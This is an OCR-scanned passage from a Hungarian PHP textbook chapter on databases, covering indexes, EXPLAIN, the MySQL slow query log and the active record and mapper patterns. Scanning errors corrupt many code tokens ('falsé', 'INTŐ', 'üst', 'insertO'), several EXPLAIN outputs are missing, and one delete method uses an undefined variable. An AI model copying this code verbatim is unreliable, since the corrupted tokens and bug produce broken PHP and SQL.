Hasonlóan, ha egy karakterlánchoz rendelünk egy változót (vagy karakterlánccá alakít-


juk), a PHP kiszámítja és tárolja a hosszát egy belső változóban. Ha ezek után az
strlen () függvényt alkalmazzuk erre a változóra, ezt az előre kiszámított hosszt kapjuk
vissza. Ez a tárolás létfontosságú a bináris adatok kezelése szempontjából is, hiszen a hát-
térben működő strlen () C könyvtárfüggvény (melyet a PHP strlen () függvénye hű-
en utánoz) a bináris adatok szempontjából nem megbízható.

Bináris adatok

A C-ben nincsenek olyan bonyolult adattípusok, mint a string. Egy C-beli karakterlánc
valójában egy ASCII karakterekből álló tömb, melyet a null karakter zár (nem a 0 karak-
ter, hanem a 0 kódú karakter). A C beépített karakterlánc-kezelő függvényei (strlen,
strcmp, és mások, melyek közül soknak létezik megfelelője a PHP-ben) akkor gondol-
ják, hogy egy karakterlánc végére értek, ha beleütköznek a null karakterbe.

A bináris adatok ugyanakkor teljesen tetszőleges karakterekből állhatnak, köztük null ka-
rakterekből is. A PHP nem rendelkezik külön típussal bináris adatok számára, így a PHP
karakterláncainak ismerniük kell a hosszukat, hogy az strlen és az strcmp ne akadjon
meg a null karaktereken.

További olvasmányok
A számítási újrahasznosítás témakörét a legtöbb egyetemi szintű, algoritmusokról szóló
könyv érinti. Thomas Cormen, Charles Leiserson, Ron Rivest és Clifford Stein könyve, az
Introduction to Algorithms második kiadása alapkönyv e téren, jól érthető alkoddal írt
példákkal. Súlyos tévedés azt hinni, hogy az algoritmus megválasztása nem lényeges egy
olyan magasszintű nyelven való programozásnál, mint a PHP. Remélhetőleg e fejezet pél-
dái elég meggyőző bizonyítékot szolgáltattak erre.
Elosztott alkalmazások
Adatbázisok használata
A relációs adatbázis-kezelő rendszerek fontos szerepet töltenek be napjaink alkalmazásai-
ban. Hatékony és általánosan alkalmazható eszközöket biztosítanak a maradandó adatok
kezelésére, lehetővé téve ezzel, hogy a fejlesztők többet foglalkozhassanak az alkalmazás
valódi feladataival.

Jóllehet az adatbázis-kezelők nagy könnyebbséget jelentenek, mégis csak szükség van né-
mi odafigyelésre a használatukhoz. Kódot kell írnunk az alkalmazás és az adatbázis-keze-
lő közti kapcsolat megvalósítására, alkalmasan meg kell terveznünk az adatok tárolására
használt táblákat, továbbá a táblákon alkalmazott lekérdezéseket a lehető leghatékonyab-
ban kell felépítenünk.

Az adatbázis-felügyelet önmagában komoly mesterség, de mivel az adatbázis-kezelők


szinte mindenütt jelen vannak, minden fejlesztőnek ismernie kell őket annyira, hogy meg-
állapíthassa, melyek a jó és melyek a rossz megoldások.

Néhány fontos kifejezés

Az adatbázis kifejezés alatt általában valamilyen maradandóan tárolt adathalmazt, illetve


az ennek kezelésére szolgáló rendszert értik. Az általános tárgyalásban még elfogadhatók
ilyen pontatlanul értelmezett fogalmak, de ha a részletekbe kívánunk bocsátkozni, már
alaposabb meghatározásokra lesz szükségünk.

Lássunk most néhány ilyen, alaposabb meghatározást:

adatbázis Maradandó adatok halmaza.


adatbázis-kezelő rendszer Olyan rendszer, amely felel az adatok kezeléséért - így fel-
ügyeli az adatok elérését, felel a lemezen történő tárolásért stb.
relációs adatbázis Adatbázis, amely táblákra épül.
relációs adatbázis-kezelő Adatbáziskezelő, amely relációs adatbázist tart fenn. Ilyen
rendszerekben a lekérdezések eredményét táblákban kapjuk
vissza.
324 PHP fejlesztés felsőfokon

tábla Adathalmaz, amely két részre osztható: egy fejlécre, amely


meghatározza az oszlopok típusát és nevét, valamint nulla
vagy több sorra.

Az adatbázisokkal kapcsolatos fogalmak teljes áttekintését megtalálhatjuk


a http://www.ocelot.ca/glossary.htm címen.

Az adatbázisok optimalizálása igen fontos feladat, mivel az alkalmazásokban többnyire


éppen az adatbázisokkal való együttműködés jelenti a szűk keresztmetszetet.

Mielőtt azonban szót ejtenénk a lekérdezések helyes összeállításáról és hangolásáról, érde-


mes elidőznünk az adatbázis-kezelő rendszerek általános felépítésének vizsgálatánál. Feje-
zetünkben ezek működését próbáljuk megérteni, a hatékony lekérdezések tervezésének
szempontjából. Gyors áttekintést kapunk emellett az adatelérési módokról, megismerve né-
hány közkedvelt eljárást a PHP adatszerkezeteinek adatbázisba írására. Végezetül megis-
merkedünk néhány módszerrel, melyekkel felgyorsíthatjuk az adatcserét az adatbázisokkal.

Ismerkedés az adatbázisok és lekérdezések működésével


A relációs adatbázis-kezelők működésének alapja, hogy az adatokat táblákba rendezik.
Ezek sorokból állnak, melyeknek meghatározott formátumuk van. Ahhoz, hogy az adat-
bázisban kereshessünk és kiválaszthassuk a megadott feltételnek megfelelő adatokat,
szükség van egy nyelvre, melyen leírhatjuk utasításainkat. Ilyen nyelv természetesen léte-
zik, a neve SQL. Adatbázisunk relációs, hiszen kapcsolatokat (relációkat) határozhatunk
meg a különböző táblák mezői között, így az adatokat logikailag elkülönülő táblákba cso-
portosíthatjuk, melyek különböző összefüggésekben használhatók.

A rendszer a táblákat lemezen rögzített fájlok alakjában tárolja. Az alkalmazott adatbázis-


kezelőtől függően a táblák és a háttérben meghúzódó fájlok között egy-egy, egy-sok
(egy-több), illetve sok-sok (több-több) típusú kapcsolat lehet.

A táblában szereplő soroknak nincs meghatározott sorrendjük, így ha egyéb szerkezeti


adatok nem állnak rendelkezésre, az összes sort meg kell vizsgálnunk, hogy megtaláljuk
az adott feltételnek megfelelőket. Ezt hívják teljes táblapásztázásnak vagy teljes táblás ke-
resésnek, ami természetesen meglehetősen lassúvá válik, ahogy a tábla mérete nő.

A lekérdezések hatékonyabbá tételére a relációs adatbázis-kezelők indexeket alkalmaz-


nak. Ezek különleges táblák, melyek egy kulcs alapján rendezettek, és megmutatják a so-
rok kulcs szerinti helyzetét. Az alkalmazott adatszerkezet adatbázis-kezelőnként változó
lehet. (Sok esetben az indexelés módját több algoritmus közül magunk választhatjuk ki.)
12. fejezet • Adatbázisok használata 325

A 12.1. ábrán egy adatbázis-keresést láthatunk egy B-fa típusú indexszel. Figyeljük meg,
hogy miután megkerestük a kulcs értékét az indexben, azonnal odaugorhatunk a megfe-
lelő sorhoz.

Az adatbázisok tábláiban többnyire létezik elsődleges kulcs. Jelen tárgyalás szempontjából


ez úgy tekinthető, mint egy index, amely egy vagy több sorra épül. Az index oszlopainak
a következő tulajdonságokkal kell rendelkezniük: nem tartalmazhatnak null értéket, és
összességükben egyedinek kell lenniük minden sor esetén. Az elsődleges kulcsok termé-
szetes módon egyedi indexet adnak, vagyis az index minden kulcsa egyetlen sort azonosít.

12.1. ábra
Keresés B-fa indexszel.

Megjegyzés

Egyes adatbázis-kezelők lehetővé teszik olyan táblatípusok használatát, melyekben az


adatokat az index sorrendjében tárolják. Ilyen például az Oracle IOT (Index Organized
Table) táblatípusa.

Bizonyos adatbázis-kezelők esetében az indexeket építhetjük egy vagy több mező együt-
tesére alkalmazott függvény értékeire is. Ezeket függvény alapú indexeknek nevezzük.
326 PHP fejlesztés felsőfokon

A gyakran használt lekérdezések esetében az indexek alkalmazása jelentős előnyökkel ke-


csegtet, hiszen meglehetősen felgyorsítják az adatok elérését. Ha azonban lekérdezésünket
csak ritkán használjuk, a kifejezetten ehhez létrehozott indexek ronthatják az adatbázis tel-
jesítményét. Ennek oka az, hogy az indexek készítése és fenntartása időt igényel a pro-
cesszortól és a lemeztől. Különösen igaz ez olyan tábláknál, melyek frissítése gyakori.

Mindez azt jelenti, hogy meg kell vizsgálnunk a gyakran használt lekérdezéseket, ellenőriz-
ve, hogy rendelkeznek-e a hatékony működéshez szükséges indexekkel. Szükség esetén
ne habozzunk módosítani az indexet vagy a lekérdezést. A vizsgálat módszeréről a későb-
biekben, a Lekérdezések vizsgálata az EXPLAIN segítségével című részben szólunk.

Megjegyzés
Fejezetünk további részében, hacsak külön nem jelzünk mást, példáink a MySQL-re épül-
nek. A legtöbb adatbázis-kezelő némiképp eltér az SQL92-es nyelvi szabványtól, így
a kód alkalmazása előtt célszerű ellenőriznünk a nyelvtant rendszerünk leírása alapján.

Lehetőségünk van arra is, hogy több tábla adatait egyszerre érjük el, ha egy közös mező-
vel összekapcsoljuk azokat. Ilyen esetekben különösen fontos az indexek használata. Ve-
gyük például az alábbi, users névre hallgató táblát:

CREATE TABLE users (


userid int(11) NOT NULL,
username varchar(30) default NULL,
password varchar(lO) default NULL,
firstname varchar(30) default NULL,
lastname varchar(30) default NULL,
salutation varchar(30) default NULL,
countrycode char(2) NOT NULL default 'us'
);

Továbbá a countries táblát:

CREATE TABLE countries (


countrycode char(2) default NULL,
name varchar(60) default NULL,
capital varchar(60) default NULL
);
12. fejezet • Adatbázisok használata 327

Most figyeljük meg a következő lekérdezést, amely a felhasználó azonosítója (user ID)
alapján kiválasztja a nevet (username) és az országot (country):

SELECT username, name


FROM users, countries
WHERE userid = 1
AND users.countrycode = countries.countrycode;

Ha nincsenek indexeink, teljes táblapásztázást kell végeznün a két tábla szorzatán. Ez 100
000 felhasználó és 239 ország esetén 23 900 000 megvizsgálandó sort jelent, ami semmi-
képpen sem nevezhető kevésnek.

A keresés hatékonyabbá tételére indexeket kell készítenünk a táblákhoz. Először is jelöl-


jük ki az elsődleges kulcsokat. A felhasználók esetében a felhasználóazonosító (userid)
természetes választás, az országok esetében pedig használhatjuk a kétbetűs ISO országkó-
dot. Feltételezve, hogy elsődleges kulcsaink mezői valóban egyediek, kiadhatjuk az aláb-
bi parancsot a táblák létrehozását követően:

mysql> altér table users add primary key(userid);

De a készítés közben is elvégezhetjük ezt a munkát, az alábbi módon:

CREATE TABLE countries (


countrycode char(2) NOT NULL default 'us',
name varchar(60) default NULL,
capital varchar(60) default NULL,
PRIMARY KEY (countrycode)
);

Ha ezek után el szeretnénk végezni a keresést, először keressük meg az index szerint az
egyező felhasználóazonosítónak megfelelő sort, majd nézzük meg a kapott felhasználó
országkódját, és ez alapján keressük meg az országot a countries táblában. így végül
összesen egyetlen sort kellett megvizsgálnunk, ami — lássuk be - számottevő előrelépés
a 23,9 millióhoz képest.

Lekérdezések vizsgálata az EXPLAIN segítségével


A lekérdezés mikéntjét az előző példában egyszerűen a józan paraszti ész alapján határoz-
tuk meg. Ezzel a módszerrel az az egyetlen gond, hogy az adatbázis és a felhasználó nem
ugyanúgy gondolkodik. Néha a lekérdezés optimalizálásáért felelős eljárás hibázik, de
előfordul az is, hogy a felhasználó hoz rossz döntést. Mivel végeredményben az adatbázis
hajtja végre a lekérdezést, nyilvánvaló, hogy saját véleménye nyom a legtöbbet a latban e
téren. Ráadásul a személyes vizsgálat időt rabló és nehéz feladat, különösen, ha a lekér-
dezések a bonyolultabbak közül valók.
328 PHP fejlesztés felsőfokon

Szerencsére a legtöbb relációs adatbázis-kezelő rendelkezésünkre bocsátja az EXPLAIN


SQL-utasítást, mellyel megvizsgálhatjuk a lekérdezés működésének részleteit. A pontos
eredmény változó, attól függően, milyen rendszert használunk, de általánosságban annyi
elmondható, hogy megtudhatjuk belőle, mely táblákat kapcsolják össze, mely indexeket
használják, valamint milyen költsége van a lekérdezések egyes részeinek (a táblákon be-
lül lekérdezett sorok száma stb.).

Vegyünk most egy, a gyakorlati életből származó példát! Korábban az egyik webhelye-
men szerepelt egy látogatási tábla, ami a felhasználók látogatásainak számát és legutóbbi
látogatásuk idejét tárolta. A tábla így festett:

CREATE TABLE visits (


userid int not null,
last_visit timestamp,
count int not null default 0,
primark key(userid)
);

A táblát rendesen a felhasználó bejelentkezésekor értük el, és ilyenkor olvastuk ki a láto-


gatások számát és az utolsó látogatás dátumát (így üdvözlésként kiírhattuk, hogy „Ön leg-
utóbb ....-kor járt nálunk"). Az EXPLAIN az alábbi eredményt adja e lekérdezés kapcsán:

Láthatjuk az elért táblát (visits), a táblák összekapcsolásának típusát (const, mivel ez


egy egytáblás lekérdezés, így nem volt szükség összekapcsolásra), a használható kulcsok
felsorolását (csak az elsődleges kulcs - PRIMARY - használható), az előző listáról kivá-
lasztott kulcsot, a kulcs hosszát, valamint az eredmény eléréséhez szükséges sorok be-
csült számát. Ez nyilvánvalóan hatékony lekérdezés, hiszen csak az elsődleges kulcsot
vizsgálja.

Az alkalmazás fejlődése során eljuthatunk oda, hogy szükségünk lesz az elmúlt 24 óra lá-
togatóinak számára, amit szintén e tábla alapján szeretnénk megkapni. Ezt az alábbi lekér-
dezéssel kívánjuk elérni:

SELECT count(*) FROM visits WHERE last_visit > NOW() - 86400;


12. fejezet • Adatbázisok használata 329

Az EXPLAIN ez esetben a következő eredményt adja:

mysql> explain select count(*) from visits where


last_visit > now() - 86400;

Figyeljük meg, hogy lekérdezésünkhöz nem létezik olyan kulcs, amely segítene az ered-
mény elérésében, így sajnos a teljes táblát át kell vizsgálnunk - ez 511 517 sor összeveté-
sét jelenti a WHERE záradékkal. Mindazonáltal a lekérdezés hatékonyabbá tehető, ha ké-
szítünk egy indexet a visits táblához. Ezt követően az alábbi eredményt kapjuk:

mysql> create index visits_lv on visits(last_visit);


Query OK, 511517 rows affected ( 1 0 . 3 0 sec)
Records: 511517 Duplicates: 0 Warnings: 0

mysql> explain select count(*) from visits where


last_visit > now() - 8 64 00 ;

Új indexünket tehát sikeresen használatba vettük, hatása azonban sajnos korlátozott (mi-
vel naponta rengeteg felhasználó jelentkezik be a webhelyre). Jobb megoldáshoz jutha-
tunk, ha készítünk egy napi számlálótáblát, melyet a felhasználók első aznapi bejelentke-
zésekor frissítünk (erről a felhasználó visits táblabeli bejegyzéséből értesülhetünk):

CREATE TABLE visit_summary (


day date,
count int,
primary key(date)
) ;

Melyik lekérdezést javítsuk?

A nagy alkalmazások optimalizálásának legnehezebb része az, amikor a javítandó kódrész-


leteket keressük. Az adatbázisok esetében sincs ez másképp: Ha több száz vagy több ezer
lekérdezéssel állunk szemben, létfontosságú, hogy tudjuk, melyeken érdemes javítani.
330 PHP fejlesztés felsőfokon

Minden relációs adatbázis-kezelő rendelkezik valamilyen módszerrel arra, hogy megtalálja


a gondot okozó lekérdezéseket. A MySQL-ben e téren leghasznosabb segítőtársunk a lassú
lekérdezések naplója. Használatának beállításához a MySQL beállítási fájljának három rész-
letéhez kell hozzányúlnunk. Az alapszintű naplózást az alábbi beállítással kapcsolhatjuk be:

log-slow-queries = /var/lib/mysql/slow-log

Ha nem adunk meg helyet, a lassú lekérdezések naplója kiszolgálónév-slow. log


néven az adatkönyvtár gyökerébe kerül. Az alábbi beállítással azt adhatjuk meg, hány má-
sodperces időtartam felett minősüljön egy lekérdezés lassúnak:

set-variable = long_query_time=5 (MySQL 3.x)

vagy

long_query_time=5 (MySQL 4+)

Végezetül, ha szeretnénk, hogy a MySQL naplóbejegyzést készítsen minden olyan lekér-


dezésről, ami nem használ indexeket, állítsuk be az alábbiakat:

log-long-formát (MySQL 3,4.0)

Vagy ezt:

log-queries-not-using-indexes (MySQL 4.1+)

Mindezek után, ha egy lekérdezés végrehajtása tovább tart, mint a fent megadott idő, illet-
ve nem használ indexeket, az alábbihoz hasonló bejegyzést kapunk:

select UNIX_TIMESTAMP(NOW())-UNIX_TIMESTAMP(MAX(last_visit)) FROM


visíts;
# User@Host: user[user] @ db.omniti.net [10.0.0.1]
# Query_time: 6 Lock_time: 0 Rows_sent: 1 Rows_examined: 511517

Ebből megtudhatjuk, melyik lekérdezés futott, hány másodpercig tartott, hány sort kap-
tunk vissza, továbbá hány sort kellett megvizsgálnia a feladat elvégzéséhez.

Új ügyfeleim webhelyeinek optimalizálásánál első dolgom a lassú lekérdezések naplózá-


sának beállítása. A long_query_time értékét kezdetben általában 10 másodpercben ha-
tározom meg, kijavítom a megjelenő lekérdezéseket, csökkentem az időkorlátot, és újra-
kezdem az egészet. A cél minden komolyabb webhelynél az, hogy ezt az időkorlátot 1
12. fejezet • Adatbázisok használata 331

másodpercre csökkenthessük, és a napló így is üres maradjon (itt feltételezzük, hogy nin-
csenek adatbányászó lekérdezések, melyek adatbázisunkat fürkészik - ha vannak, hagy-
juk figyelmen kívül őket).

A napló elemzéséhez nagy segítséget jelent a mysqldumpslow, ami összefoglalja, és


könnyen olvasható alakban, rendezetten tárja elénk a lassú lekérdezéseket.

A kapott bejegyzések valójában azonos lekérdezések csoportjait jelentik - a lekérdezés


kódja mellett megkapjuk a naplóba került bejegyzések számát, az összességében eltöltött
időt, és további adatokat.

Lássunk egy részletet az eredményből:

Count: 4 Time=0.25s (Is) Lock=0.00s ( O s ) Rows=3.5 (14),


■ root[root]@localhost
SELECT * FROM users LIMIT N
Count: 5 Time=0.20s (Is) Lock=0.OOs ( O s ) Rows=5.0 (25),
root[root]Slocalhost
SELECT * FROM users

Használhatunk kapcsolókat is, melyekkel szabályozhatjuk a lekérdezések rendezését és


megjelenítését. Ezekről a mysqlsumpslow --help utasítással kaphatunk felvilágosítást.

Az indexeket nem használó lekérdezések naplózása is hasznos lehet, bár jómagam általá-
ban nem veszem igénybe ezt a szolgáltatást. Kisebb (néhány száz soros) táblák esetében
az adatbázis-kezelő ugyanolyan gyorsan — ha nem gyorsabban - boldogul indexek nélkül,
mint azokkal. A log-long- formát bekapcsolása hasznos lehet, ha új környezetbe csöp-
penünk (vagy ha folyamatosan ellenőrizni szeretnénk az alkalmazásban szereplő SQL kó-
dot), de legtöbbször jobb, ha nem hagyjuk, hogy a sok SQL kód összerondítsa a naplót.

Adatbázis-elérési minták
Ezek a minták adják meg, milyen módokon érintkezhetünk az adatbázis-kezelővel a PHP-
ben. Ez mindenekelőtt azt jelenti, hogy meghatározzák, hol és milyen módon jelennek meg
az SQL kódok a programban. A vélemények e téren meglehetősen vegyesek. Az egyik tábor
szerint az adatelérés olyannyira alapvető része az alkalmazásnak, hogy az SQL és a PHP
kód szabadon és minden korlátozás nélkül összevegyíthető, ha éppen egy lekérdezést kell
elvégezni. Másrészről, vannak olyanok is, akik úgy vélik, az SQL kódot minél inkább el kell
rejteni a fejlesztők elől, és mindenfajta adatbázis-elérést valamilyen mély elvont rétegbe kell
helyeznünk.
332 PHP fejlesztés felsőfokon

A magam részéről egyik vélekedéssel sem értek egyet teljes mértékben. Az első megköze-
lítésnél a legtöbb gondot az újraépítés és az újrahasznosítás jelenti. A PHP függvényekhez
hasonlóan, ha egy kódrészlet többször is előfordul az alkalmazásban, az esetleges szerke-
zeti változtatásoknál ezek mindegyikét végig kell böngésznünk. Kódunk ezzel meglehető-
sen kezelhetetlenné válik.

Az elvonatkoztatással szemben is könnyű érveket felhozni, hiszen alkalmazásával sokat


veszthetünk. Ha valamit egy elvont rétegbe csomagolunk, minden bizonnyal vesztünk
azokból a finom szabályzási lehetőségekből, melyek eredetileg rendelkezésünkre álltak.
Az SQL igen hatékony programnyelv, és eléggé közismert ahhoz, hogy a fejlesztők meg-
értsék és kényelmesen használják.

Középen maradva a két szélsőség között éppen elég mozgásterünk adódik. A követke-
zőkben négy adatbázis-elérési mintát mutatunk be - a véletlen vagy ad hoc lekérdezése-
ket, valamint az aktív rekord, a leképező és az egyesített leképező mintát -, melyekkel ki-
elégíthetjük a legegyszerűbb feladatok igényeit, de sikerrel oldhatunk meg bonyolult
objektum-adat leképezési problémákat is.

Ad hoc lekérdezések
A véletlen lekérdezések {ad hoc lekérdezések) szigorú értelemben véve nem alkotnak min-
tát, de a leírtak így is sok esetben hasznunkra lehetnek. Mindenekelőtt fontos tudnunk,
hogy ad hoc lekérdezés alatt olyan lekérdezést értünk, melyet a kód egy bizonyos helyén
egy meghatározott feladat elvégzésére írunk. így például az alábbi eljárásban szereplő le-
kérdezés, mellyel a users táblában az országot frissítjük, ad hoc jellegűnek tekinthető:

function setUserCountryCode($userid, $countrycode)


{
$dbh = new DB_Mysql_Test;
$query = "UPDATE users SET countrycode = :1 WHERE userid = :2";
$dbh->prepare($query)->execute($countrycode, $userid);
}

A véletlen lekérdezésektől nem kell eleve tartanunk. Sőt, mivel az ilyen megoldások rend-
szerint egy adott, egyedi feladatra születnek, hangolásuk (az SQL szintjén) könnyebb,
mint az általánosabb megoldásoké. Arra azonban ügyelnünk kell, hogy az ilyen kódok
szeretnek „elszaporodni" alkalmazásainkban. Először csak egyet használunk itt, majd még
egyet amott, végül azután oda juthatunk, hogy 20 különböző lekérdezésünk lesz, melyek
mind a users tábla countrycode oszlopát módosítják. Ez valóban gondot jelent, hiszen
nagyon nehéz mindezeket a kódrészleteket elérnünk, ha a users táblát átrendezzük.

Jómagam meglehetősen gyakran használok ad hoc kódrészleteket, hasonlóan számos


profi programozóhoz. Ahhoz azonban, hogy kezelhetők legyenek, elvégzett feladataik és
12. fejezet • Adatbázisok használata 333

az általuk módosított adatok szerint csoportosítva központosított könyvtárakban kell tárol-


ni őket. így, ha a users táblát módosító lekérdezések egyetlen fájlban, egy központi he-
lyen találhatók, a tábla átrendezésénél is könnyebb dolgunk lesz.

Az aktív rekord minta


Gyakran előfordul, hogy olyan osztályaink vannak, melyek közvetlenül megfelelnek egy
adatbázis sorainak. Ilyen esetekben érdemes összekötnünk valamiképpen az objektum és
az adatbázis elérését. Az aktív rekord minta éppen ezt teszi - egy objektum minden adat-
bázis-elérését egy osztályba sűríti.

Az aktív rekord minta lényege, hogy az osztályban szerepel egy insert (), egy update (),
valamint egy delete () tagfüggvény, melyekkel összhangba hozhatjuk az objektumot
a megfelelő sorral. Rendelkezünk továbbá néhány keresőfüggvénnyel is, melyekkel objek-
tumot készíthetünk a sorok tartalmából, egy megadott változó alapján.

Lássunk most egy példát. íme a User osztály, amely a korábban megismert users tábára
épül:

require_once "DB.inc";

class User {
public $userid;
public $username;
public $firstname;
public $lastname;
public $salutation;
public $countrycode;

public static function findByUsername($username)


{
$dbh = new DB_Mysql_Test;
$query = "SELECT * from users WHERE username = :1";
list($userid) = $dbh->prepare($query)->execute($username)
->fetch_row();
if(!$userid) {
throw new Exception("no such user");
}
return new User($userid);
}

public function _ construct($userid = falsé)


{
if(!$userid) {
return;
}
334 PHP fejlesztés felsőfokon

$dbh = new DB_Mysql_Test;


$query = "SELECT * from users WHERE userid = :1";
$data = $dbh->prepare($query)->execute($userid)->fetch_assoc();
foreach( $data as $attr => $value ) {
$this->$attr = $value;
}
}

public function update()


{
if(!$this->userid) {
throw new Exception("User needs userid to call update()");
}
$query = "UPDATE users
SET username = :1, firstname = :2, lastname = :3,
salutation = :4, countrycode = :5
WHERE userid = :6";
$dbh = new DB_Mysql_Test;
$dbh->prepare($query)->execute($this->username, $this->firstname,
$this->lastname, $this->salutation,
$this->countrycode, $this->userid) ;
}

public function insertO


{
if($this->userid) {
throw new Exception("User object has a userid, can't insert");
}
$query = "INSERT INTŐ users
(username, firstname, lastname, salutation, countrycode)
VALUES(:1, :2, :3, :4, : 5) " ;
$dbh = new DB_Mysql_Test;
$dbh->prepare($query)->execute($this->username, $this->firstname,
$this->lastname, $this->salutation,
$this->countrycode);
üst ($this->userid) =
$dbh->prepare("select last_insert_id()")->execute()
->fetch_row();
}

public function delete()


{
if(!$this->userid) {
throw new Exception("User object has no userid");
}
$query = "DELETE FROM users WHERE userid = :1";
$dbh = new DB_Mysql_Test;
$dbh->prepare($query)->execute($this->userid);
}
}
12. fejezet • Adatbázisok használata 335

A User osztály használata egyszerű. Ha egy felhasználót példányosítani szeretnénk az


azonosítója alapján, csak adjuk át azt a konstruktornak:

$user = new U s e r ( l ) ;

Ha egy felhasználó adatait a neve alapján szeretnénk megkeresni, az objektum létrehozá-


sához a statikus f indByUsername tagfüggvényt használhatjuk:

$user = User::findByUsername('george');

Ha rögzítenünk kell az objektum aktuális állapotát, az update () tagfüggvény hívásával


tehetjük meg. Az alábbi példában saját lakhelyemet Németországba helyezem át:

Suser = User::findByUsername('george');
$user->countrycode = 'de';
$user->update();

Ha egy teljesen új User objektumot készítünk, példányosítanunk kell, megadni a részleteit


(a $userid kivételével, melyet az adatbázis határoz meg), majd meghívni az insert ()
tagfüggvényt. Az alábbi kódrészlettel Zak Greant számára készítünk egy User objektumot:

$user = new User;


$user->firstname = 'Zak';
$user->lastname = 'Greant';
$user->username = 'zak';
$user->countrycode = 'ca';
$user->salutation = 'M.';
$user->insert();

Az aktív rekord minta különösen jól használható olyan osztályok esetében, melyek egy-
szerű kapcsolatban állnak egyes sorokkal az adatbázisból. Egyszerűsége és eleganciája
népszerűvé teszi az egyszerű adatmodellekben, így nem meglepő módon számos saját
munkámban is használom.

A leképező minta
Az aktív rekord minta feltételezi, hogy egyszerre csak egyetlen táblával dolgozunk. A gya-
korlati életben azonban az adatbázis-szerkezet és az osztályhierarchia gyakran egymástól
függetlenül fejlődik. Ez amellett, hogy elkerülhetetlen, nem mindig káros hatású. Az, hogy
külön-külön átalakíthatjuk az adatbázist és az alkalmazást, valójában inkább jótétemény.
A leképező mintával olyan osztályt készíthetünk, mellyel egy objektumot egy meghatáro-
zott adatbázis-szerkezetbe menthetünk.
336 PHP fejlesztés felsőfokon

E minta legnagyobb előnye, hogy segítségével teljesen elválaszthatjuk az objektumot az


adatbázis szerkezetétől. Az osztálynak így semmit sem kell tudnia arról, milyen alakban
tárolódnak az adatai, így nyugodtan haladhat a maga fejlődési útján.

Ez a minta azonban nemcsak teljesen leválasztott adatmodellekhez alkalmazható. A leg-


egyszerűbb példa erre egy olyan aktív rekord osztály, melyről leválasztottuk az adatbázis-
elérési eljárásokat. Erre mutatunk példát a korábban megismert User osztály két részre
bontásával - az egyik rész (User) az alkalmazás kódját tartalmazza, míg a másik
(UserMapper) az User objektum és az adatbázis közti adatcseréért felel:

require_once "DB.inc";
class User {
public $userid;
public $username;
public $firstname;
public $lastname;
public $salutation;
public $countrycode;

public function __construct($userid = falsé, $username = falsé,


$firstname = falsé, $lastname = falsé,
$salutation = falsé, $countrycode = falsé)
{
$this->userid = $userid;
$this->username = $username;
$this->firstname = $firstname;
$this->lastname = $lastname;
$this->salutation = $salutation;
$this->countrycode = $countrycode;
}
}

class UserMapper {
public static function findByUserid($userid)
{
$dbh = new DB_Mysql_Test;
$query = "SELECT * FROM users WHERE userid = :1";
$data = $dbh->prepare($query)->execute($userid)->fetch_assoc();
if(!$data) {
return falsé;
}
return new User($userid, $data['username'],
$data['firstname'], $data['lastname'],
$data['salutation'], $data['countrycode']);
}
12. fejezet • Adatbázisok használata 337

public static function findByUsername($username)


{
$dbh = new DB_Mysql_Test;
$query = "SELECT * FROM users WHERE username = :1";
$data = $dbh->prepare($query)->execute($username)->fetch_assoc();
if(!$data) {
return falsé;
}
return new User($data['userid1] , $data['username'],
$data['firstname'], $data['lastname'],
$data['salutation'], $data['countrycode']);
}

public static function insert(User $user)


{
if($user->userid) {
throw new Exception("User object has a userid, can't insert");
}
$query = "INSERT INTŐ users
(username, firstname, lastname, salutation,
countrycode)
VALUES(:1, :2, : 3, : 4 , : 5 ) " ;
$dbh = new DB_Mysql_Test ,-
$dbh->prepare($query)->execute($user->username, $user->firstname,
$user->lastname, $user->salutation,
$user->countrycode);
list($user->userid) =
$dbh->prepare("select last_insert_id()")->execute()
->fetch_row();
}

public static function update(User $user)


{
if(!$user->userid) {
throw new Exception("User needs userid to call update()");
}
$query = "UPDATE users
SET username = :1, firstname = :2, lastname = :3,
salutation = :4, countrycode = :5
WHERE userid = :6";
$dbh = new DB_Mysql_Test;
$dbh->prepare($query)->execute($user->username, $user->firstname,
$user->lastname, $user->salutation,
$user->countrycode, $user->userid);
}
public static function delete(User $user)
{
if ( !$user->userid) {
338 PHP fejlesztés felsőfokon

throw new Exception("User object has no userid");


}
$query = "DELETE FROM users WHERE userid = :1";
$dbh = new DB_Mysql_Test;
$dbh->prepare($query)->execute($userid) ;
}
}

A User objektum semmit nem tud arról, milyen bejegyzések felelnek meg a tartalmának
az adatbázisban. Ezért hát, ha át kell alakítanunk az adatbázis szerkezetét, nem is kell eh-
hez az objektumhoz hozzányúlnunk, elég a UserMapper-rel foglalkoznunk. Hasonlóan,
a User átalakításánál semmiféle módosításra nincs szükség az adatbázis szerkezetében.
Végeredményben tehát a leképező minta hasonlít a 2. fejezetben megismert illesztő min-
tához - ez is két dolgot köt össze, melyeknek nem kell semmit tudniuk egymásról.

Itt a következők szerint állíthatjuk vissza lakhelyemet az Egyesült Államokra:

$user = UserMapper::findByUsername('george');
$user->countrycode = 'us';
UserMapper::update($user);

Az újraépítés e minta használata esetén igen egyszerűen végrehajtható. Tegyük fel példá-
ul, hogy a User objektumban a felhasználó országának ISO kódja helyett a nevét szeret-
nénk használni. Az aktív rekord alkalmazásánál vagy a háttérben levő users táblát kell
módosítanunk, vagy el kell térnünk a mintától valamilyen ad hoc lekérdezéssel vagy
elérőfüggvénnyel. A leképező mintában mindössze a UserMapper osztály tárolási eljárá-
sait kell átírnunk. Lássuk előző példánkat az újraépítés után:

class User {
public $userid;
public $username;
public $firstname;
public $lastname;
public $salutation;
public $countryname;

public function __construct($userid = falsé, $username = falsé,


$firstname = falsé, $lastname = falsé,
$salutation = falsé, $countryname = falsé)
{
$this->userid = $userid;
$this->username = $username;
$this->firstname = $firstname;
$this->lastname = $lastname;
$this->salutation = $salutation;
12. fejezet * Adatbázisok használata 339

$this->countryname = $countryname;
}
}

class UserMapper {
public static function findByUserid($userid)
{
$dbh = new DB_Mysql_Test;
$query = "SELECT * FROM users u, countries c
WHERE userid = :1
AND u.countrycode = c.countrycode";
$data = $dbh->prepare($query)->execute($userid)->fetch_assoc();
if(!$data) {
return falsé;
}
return new User($userid, $data['username'],
$data['firstname'], $data['lastname'],
$data['salutation'], $data['name']);
}

public static function findByUsername($username)


{
$dbh = new DB_Mysql_Test;
$query = "SELECT * FROM users u, countries c
WHERE username = :1
AND u.countrycode = c.countrycode";
$data = $dbh->prepare($query)->execute($username)->fetch_assoc();
if(!$data) {
return falsé;
}
return new User($data['userid'], $data['username'],
$data['firstname'], $data['lastname'],
$data['salutation'], $data['name']);
}

public static function insert(User $user)


{
if ($user->userid) {
throw new Exception("User object has a userid, can't insert");
}
